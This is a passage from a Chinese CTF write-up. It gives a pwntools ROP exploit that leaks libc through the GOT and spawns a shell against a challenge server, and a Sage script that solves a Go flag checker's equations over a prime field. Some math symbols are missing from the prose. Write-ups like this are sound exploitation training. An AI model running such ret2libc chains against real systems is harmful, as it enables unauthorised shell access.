保護只有 NX 有開,所以直接 buffer overlow 去 ROP leak GOT 中的 puts 後回到 main,第二次 rop 就直接 ROP 到 libc 拿 shell 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

elf = ELF("./vuln_patched")
libc = ELF("./libc-2.31.so")

pop_rdi = 0x401273

# io = gdb.debug("./vuln_patched", "b *(main+107)\nc")
io = remote("pwn2.bsidesahmedabad.in", 9001)
io.recvuntil(b"feedback:")
io.sendline(
b"a" * 72 + flat([pop_rdi, elf.got["puts"], elf.plt["puts"], elf.sym["main"]])
)
io.recvuntil(b"you!\n")
libc_base = int.from_bytes(io.recv(6), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")
libc.address = libc_base
rop = ROP(libc)
rop.call("execve", [next(libc.search(b"/bin/sh\0")), 0, 0])
io.recvuntil(b"feedback:")
io.sendline(b"a" * 72 + rop.chain())
io.interactive()

# Neko{Th4t's_4_n1c3_f33db4ck}

Rev

intersection

這題有個沒 strip 過的 golang flag checker 要 reverse,丟進 ida 中都可以看到 symbols,不過 function call 的部份不是很正確。不過同時配合 gdb 那邊動態 debug 還是能懂整個程式在做什麼,只是要稍微了解一下 golang 的 calling convention 傳遞參數都是在 stack 上的這件事就大致上能 reverse 出來了。

基本上就是把輸入的字串切兩半,分別轉成 big int 。另外程式中也有三個額外的三個常數

它做的檢查就是下面兩個等式:

其中的 是一個質數,所以這樣很容易可以在 prime field 中解出 拿到 flag。我這邊比較偷懶,直接拿 sage 的 groebner basis 解掉:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import long_to_bytes

c1 = 0x4B5EC9227AC1C16BCC9C03656B648380F06D7E889940BF2A9DCE4708047A21CD
c2 = 0x984E50D5688EE40207AD56F879C80C07AB16D82EC8075DFCA5840184802B0742
c3 = 0x999120A873890329CF2ADC1C544150AD00F9B6B2F2C9535EA6CE2B44D5B678E7

P.<x, y> = GF(c3)[]
a = x * x
b = y * y
f1 = a + b - c1 * c1
f2 = x * y - c2
I = P.ideal([f1, f2])
assert I.dimension() == 0
V = I.variety()
for sol in V:
first = sol["x"]
second = sol["y"]
print(long_to_bytes(first) + long_to_bytes(second))

# Neko{intersection_of_x^2+y^2=a^2_and_y=b/x}

這樣好像有點大砲打蚊子...